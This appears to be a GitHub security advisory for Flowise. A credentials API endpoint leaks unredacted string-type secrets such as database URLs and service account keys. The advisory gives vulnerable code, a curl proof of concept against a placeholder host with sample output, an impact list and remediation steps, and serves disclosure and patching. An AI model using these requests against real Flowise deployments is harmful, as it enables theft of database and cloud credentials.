GHSA-RWRP-9823-P2XQ

Vulnerability from github – Published: 2026-08-04 17:57 – Updated: 2026-08-04 17:57
VLAI
Summary
Flowise: Incomplete Credential Redaction Exposes Secrets via API
Details

Summary

The GET /api/v1/credentials/:id endpoint decrypts stored credential data and returns it in the plainDataObj field of the API response. While a redactCredentialWithPasswordType() function masks fields defined with type: 'password' in their component schema, many credential types store highly sensitive data (database connection URLs with embedded passwords, Google service account JSON with RSA private keys, AWS access keys) in fields defined as type: 'string'. These string-type fields are returned in full plaintext without any redaction.

Any authenticated user with credentials:view permission can retrieve the raw secrets of any credential in their workspace by calling this endpoint.

Vulnerable Code

Service Layer

packages/server/src/services/credentials/index.ts, getCredentialById() (line 127):

At line 138, the credential's encrypted data is decrypted:

const decryptedCredentialData = await decryptCredentialData(
    credential.encryptedData,
    credential.credentialName,
    appServer.nodesPool.componentCredentials
)

At lines 143-146, the decrypted data is attached to the response as plainDataObj:

const returnCredential: ICredentialReturnResponse = {
    ...credential,
    plainDataObj: decryptedCredentialData    // <-- decrypted secrets in response
}

At line 147, only encryptedData is stripped, leaving plainDataObj intact:

const dbResponse: any = omit(returnCredential, ['encryptedData'])

Incomplete Redaction

packages/server/src/utils/index.ts, redactCredentialWithPasswordType() (line 1697):

export const redactCredentialWithPasswordType = (
    componentCredentialName: string,
    decryptedCredentialObj: ICredentialDataDecrypted,
    componentCredentials: IComponentCredentials
): ICredentialDataDecrypted => {
    const plainDataObj = cloneDeep(decryptedCredentialObj)
    for (const cred in plainDataObj) {
        const inputParam = componentCredentials[componentCredentialName].inputs?.find(
            (inp) => inp.type === 'password' && inp.name === cred  // <-- only 'password' type
        )
        if (inputParam) {
            plainDataObj[cred] = REDACTED_CREDENTIAL_VALUE
        }
    }
    return plainDataObj
}

This function only redacts fields where inp.type === 'password'. Fields with type: 'string' are returned verbatim, even when they contain secrets.

Credential Definitions Storing Secrets in String-Type Fields

Credential Field Type Contains
mongoDBUrlApi mongoDBConnectUrl string mongodb+srv://user:password@host/db
googleVertexAuth googleApplicationCredential string Full service account JSON with RSA private key
postgresUrl postgresUrl string postgresql://user:password@host/db
redisCacheUrlApi redisUrl string redis://user:password@host:port
awsApi awsKey string AWS Access Key ID
langfuseApi langFusePublicKey string Langfuse API public key
httpBasicAuth basicAuthUsername string HTTP Basic Auth username

There are 60+ credential definitions in packages/components/credentials/, many with sensitive string-type fields.

Proof of Concept

Environment

  • Flowise v3.0.13 (flowiseai/flowise:latest Docker image)
  • Authenticated as admin user via enterprise auth

Steps to Reproduce

  1. Start Flowise and log in as any user with credentials:view permission.
  2. Create a MongoDB credential with a connection URL containing embedded credentials:
curl -X POST "http://TARGET:3000/api/v1/credentials" \
  -H "Content-Type: application/json" \
  -H "x-request-from: internal" \
  -H "Cookie: token=<jwt-token>" \
  -d '{
    "name": "MongoDB Production",
    "credentialName": "mongoDBUrlApi",
    "plainDataObj": {
      "mongoDBConnectUrl": "mongodb+srv://admin:SuperSecretPassword123@cluster0.abc123.mongodb.net/mydb"
    }
  }'
  1. Retrieve the credential by ID:
curl -X GET "http://TARGET:3000/api/v1/credentials/<credential-id>" \
  -H "x-request-from: internal" \
  -H "Cookie: token=<jwt-token>"

Observed Result

The API returns the MongoDB connection URL in full plaintext, including the embedded password:

{
  "id": "e9543cad-8c0c-422e-9990-090c3b1dc3ab",
  "name": "MongoDB Production",
  "credentialName": "mongoDBUrlApi",
  "createdDate": "2026-02-07T17:35:29.000Z",
  "updatedDate": "2026-02-07T17:35:29.000Z",
  "plainDataObj": {
    "mongoDBConnectUrl": "mongodb+srv://admin:SuperSecretPassword123@cluster0.abc123.mongodb.net/mydb"
  }
}

The same test with a Google Vertex Auth credential returned the complete service account JSON including the RSA private key in plaintext:

{
  "id": "f7768444-a4fc-4fa3-8e5e-d0d4df89fb56",
  "name": "Google Vertex Auth",
  "credentialName": "googleVertexAuth",
  "plainDataObj": {
    "googleApplicationCredential": "{\"type\":\"service_account\",\"private_key\":\"-----BEGIN RSA PRIVATE KEY-----\\nMIIEpAIBAAKCAQEA0Z3VS5JJcds3xfn/ygWep4PAtGoL3VBpFe97XRQFQB\\n-----END RSA PRIVATE KEY-----\\n\",\"client_email\":\"mybot@my-project-123.iam.gserviceaccount.com\"}",
    "projectID": "my-project-123"
  }
}

For comparison, an OpenAI API key (where the field is typed as password) was correctly redacted:

{
  "plainDataObj": {
    "openAIApiKey": "_FLOWISE_BLANK_07167752-1a71-43b1-"
  }
}

This confirms the redaction is only applied to password-type fields, leaving string-type fields fully exposed.

Impact

  • Database credential theft: MongoDB, PostgreSQL, Redis, MySQL connection URLs with embedded passwords are returned in full plaintext. An attacker can use these to directly access production databases.
  • Cloud service account compromise: Google service account JSON with RSA private keys is returned in plaintext, enabling full impersonation of the service account across Google Cloud.
  • AWS key exposure: AWS Access Key IDs stored in string-type fields are exposed, enabling enumeration of active AWS credentials.
  • Lateral movement: Stolen credentials enable pivoting from the Flowise instance to connected cloud services, databases, and APIs.
  • Multi-user workspace risk: In multi-user deployments, any user with credentials:view permission can harvest all workspace credentials via the API.

Remediation

  1. Apply redactCredentialWithPasswordType() to all sensitive credential fields, not just those typed as password. Any field containing secrets (connection strings, JSON credentials, access keys) should be redacted.
  2. Consider never returning plainDataObj in API responses. The UI should use masked previews (e.g., mongodb+srv://admin:****@cluster0...) instead of full values.
  3. Re-type sensitive credential fields from string to password in component credential definitions to ensure they are covered by the existing redaction logic.
  4. Add a separate secret: true flag to credential field definitions to explicitly mark sensitive fields regardless of their input type.
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-200"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-04T17:57:35Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `GET /api/v1/credentials/:id` endpoint decrypts stored credential data and returns it in the `plainDataObj` field of the API response. While a `redactCredentialWithPasswordType()` function masks fields defined with `type: \u0027password\u0027` in their component schema, many credential types store highly sensitive data (database connection URLs with embedded passwords, Google service account JSON with RSA private keys, AWS access keys) in fields defined as `type: \u0027string\u0027`. These string-type fields are returned in **full plaintext** without any redaction.\n\nAny authenticated user with `credentials:view` permission can retrieve the raw secrets of any credential in their workspace by calling this endpoint.\n\n## Vulnerable Code\n\n### Service Layer\n\n**`packages/server/src/services/credentials/index.ts`**, `getCredentialById()` (line 127):\n\nAt line 138, the credential\u0027s encrypted data is decrypted:\n\n```typescript\nconst decryptedCredentialData = await decryptCredentialData(\n    credential.encryptedData,\n    credential.credentialName,\n    appServer.nodesPool.componentCredentials\n)\n```\n\nAt lines 143-146, the decrypted data is attached to the response as `plainDataObj`:\n\n```typescript\nconst returnCredential: ICredentialReturnResponse = {\n    ...credential,\n    plainDataObj: decryptedCredentialData    // \u003c-- decrypted secrets in response\n}\n```\n\nAt line 147, only `encryptedData` is stripped, leaving `plainDataObj` intact:\n\n```typescript\nconst dbResponse: any = omit(returnCredential, [\u0027encryptedData\u0027])\n```\n\n### Incomplete Redaction\n\n**`packages/server/src/utils/index.ts`**, `redactCredentialWithPasswordType()` (line 1697):\n\n```typescript\nexport const redactCredentialWithPasswordType = (\n    componentCredentialName: string,\n    decryptedCredentialObj: ICredentialDataDecrypted,\n    componentCredentials: IComponentCredentials\n): ICredentialDataDecrypted =\u003e {\n    const plainDataObj = cloneDeep(decryptedCredentialObj)\n    for (const cred in plainDataObj) {\n        const inputParam = componentCredentials[componentCredentialName].inputs?.find(\n            (inp) =\u003e inp.type === \u0027password\u0027 \u0026\u0026 inp.name === cred  // \u003c-- only \u0027password\u0027 type\n        )\n        if (inputParam) {\n            plainDataObj[cred] = REDACTED_CREDENTIAL_VALUE\n        }\n    }\n    return plainDataObj\n}\n```\n\nThis function **only** redacts fields where `inp.type === \u0027password\u0027`. Fields with `type: \u0027string\u0027` are returned verbatim, even when they contain secrets.\n\n### Credential Definitions Storing Secrets in String-Type Fields\n\n| Credential | Field | Type | Contains |\n|---|---|---|---|\n| `mongoDBUrlApi` | `mongoDBConnectUrl` | `string` | `mongodb+srv://user:password@host/db` |\n| `googleVertexAuth` | `googleApplicationCredential` | `string` | Full service account JSON with RSA private key |\n| `postgresUrl` | `postgresUrl` | `string` | `postgresql://user:password@host/db` |\n| `redisCacheUrlApi` | `redisUrl` | `string` | `redis://user:password@host:port` |\n| `awsApi` | `awsKey` | `string` | AWS Access Key ID |\n| `langfuseApi` | `langFusePublicKey` | `string` | Langfuse API public key |\n| `httpBasicAuth` | `basicAuthUsername` | `string` | HTTP Basic Auth username |\n\nThere are 60+ credential definitions in `packages/components/credentials/`, many with sensitive string-type fields.\n\n## Proof of Concept\n\n### Environment\n\n- Flowise v3.0.13 (`flowiseai/flowise:latest` Docker image)\n- Authenticated as admin user via enterprise auth\n\n### Steps to Reproduce\n\n1. Start Flowise and log in as any user with `credentials:view` permission.\n2. Create a MongoDB credential with a connection URL containing embedded credentials:\n\n```bash\ncurl -X POST \"http://TARGET:3000/api/v1/credentials\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"x-request-from: internal\" \\\n  -H \"Cookie: token=\u003cjwt-token\u003e\" \\\n  -d \u0027{\n    \"name\": \"MongoDB Production\",\n    \"credentialName\": \"mongoDBUrlApi\",\n    \"plainDataObj\": {\n      \"mongoDBConnectUrl\": \"mongodb+srv://admin:SuperSecretPassword123@cluster0.abc123.mongodb.net/mydb\"\n    }\n  }\u0027\n```\n\n3. Retrieve the credential by ID:\n\n```bash\ncurl -X GET \"http://TARGET:3000/api/v1/credentials/\u003ccredential-id\u003e\" \\\n  -H \"x-request-from: internal\" \\\n  -H \"Cookie: token=\u003cjwt-token\u003e\"\n```\n\n### Observed Result\n\nThe API returns the MongoDB connection URL in **full plaintext**, including the embedded password:\n\n```json\n{\n  \"id\": \"e9543cad-8c0c-422e-9990-090c3b1dc3ab\",\n  \"name\": \"MongoDB Production\",\n  \"credentialName\": \"mongoDBUrlApi\",\n  \"createdDate\": \"2026-02-07T17:35:29.000Z\",\n  \"updatedDate\": \"2026-02-07T17:35:29.000Z\",\n  \"plainDataObj\": {\n    \"mongoDBConnectUrl\": \"mongodb+srv://admin:SuperSecretPassword123@cluster0.abc123.mongodb.net/mydb\"\n  }\n}\n```\n\nThe same test with a Google Vertex Auth credential returned the **complete service account JSON including the RSA private key** in plaintext:\n\n```json\n{\n  \"id\": \"f7768444-a4fc-4fa3-8e5e-d0d4df89fb56\",\n  \"name\": \"Google Vertex Auth\",\n  \"credentialName\": \"googleVertexAuth\",\n  \"plainDataObj\": {\n    \"googleApplicationCredential\": \"{\\\"type\\\":\\\"service_account\\\",\\\"private_key\\\":\\\"-----BEGIN RSA PRIVATE KEY-----\\\\nMIIEpAIBAAKCAQEA0Z3VS5JJcds3xfn/ygWep4PAtGoL3VBpFe97XRQFQB\\\\n-----END RSA PRIVATE KEY-----\\\\n\\\",\\\"client_email\\\":\\\"mybot@my-project-123.iam.gserviceaccount.com\\\"}\",\n    \"projectID\": \"my-project-123\"\n  }\n}\n```\n\nFor comparison, an OpenAI API key (where the field is typed as `password`) was **correctly redacted**:\n\n```json\n{\n  \"plainDataObj\": {\n    \"openAIApiKey\": \"_FLOWISE_BLANK_07167752-1a71-43b1-\"\n  }\n}\n```\n\nThis confirms the redaction is only applied to `password`-type fields, leaving `string`-type fields fully exposed.\n\n## Impact\n\n- **Database credential theft**: MongoDB, PostgreSQL, Redis, MySQL connection URLs with embedded passwords are returned in full plaintext. An attacker can use these to directly access production databases.\n- **Cloud service account compromise**: Google service account JSON with RSA private keys is returned in plaintext, enabling full impersonation of the service account across Google Cloud.\n- **AWS key exposure**: AWS Access Key IDs stored in `string`-type fields are exposed, enabling enumeration of active AWS credentials.\n- **Lateral movement**: Stolen credentials enable pivoting from the Flowise instance to connected cloud services, databases, and APIs.\n- **Multi-user workspace risk**: In multi-user deployments, any user with `credentials:view` permission can harvest all workspace credentials via the API.\n\n## Remediation\n\n1. Apply `redactCredentialWithPasswordType()` to **all** sensitive credential fields, not just those typed as `password`. Any field containing secrets (connection strings, JSON credentials, access keys) should be redacted.\n2. Consider never returning `plainDataObj` in API responses. The UI should use masked previews (e.g., `mongodb+srv://admin:****@cluster0...`) instead of full values.\n3. Re-type sensitive credential fields from `string` to `password` in component credential definitions to ensure they are covered by the existing redaction logic.\n4. Add a separate `secret: true` flag to credential field definitions to explicitly mark sensitive fields regardless of their input type.",
  "id": "GHSA-rwrp-9823-p2xq",
  "modified": "2026-08-04T17:57:35Z",
  "published": "2026-08-04T17:57:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-rwrp-9823-p2xq"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FlowiseAI/Flowise"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Flowise: Incomplete Credential Redaction Exposes Secrets via API"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…